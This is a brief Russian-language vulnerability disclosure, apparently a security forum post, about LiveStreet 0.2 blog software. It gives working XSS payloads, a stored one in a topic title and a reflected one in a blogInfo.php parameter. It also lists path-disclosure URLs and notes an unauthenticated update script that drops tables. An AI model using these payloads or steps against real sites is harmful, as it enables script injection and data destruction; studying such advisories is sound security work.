LiveStreet (аналог хабра)

[BlackSun]

LiveStreet
Офф сайт: http://livestreet.ru/
Текущая версия: LiveStreet 0.2 — 05.11.2008
Ссылка на скачивание: http://sourceforge.net/projects/livestreet/

Активная XSS
-- создаем топик, в заголовке пишем <img src=. onerror=alert()>
-- постим комент в создайнный топик
-- заходим на страницу
-- -- Прямой эфир ( /comments/ ), либо
-- -- В свой профиль > Публикации > Коментарии ( /my/твой ник/comment/ )

Раскрытие путей
/classes/lib/external/Smarty-2.6.19/demo/
/classes/lib/external/Smarty-2.6.19/libs/Smarty_Compiler.class.php
/classes/lib/external/Smarty-2.6.19/unit_test/smarty_unit_test_gui.php
/classes/lib/external/Smarty-2.6.19/unit_test/smarty_unit_test.php
/classes/lib/external/Smarty-2.6.19/unit_test/test_cases.php
/include/function.php
/templates/compiled/*

Пассивная XSS
/include/ajax/blogInfo.php?asd=<script>alert()</script>

А вот тут
/update/update_0.1.2_to_0.2.php
виднеются DROP TABLE и т.п. без какой либо авторизации ...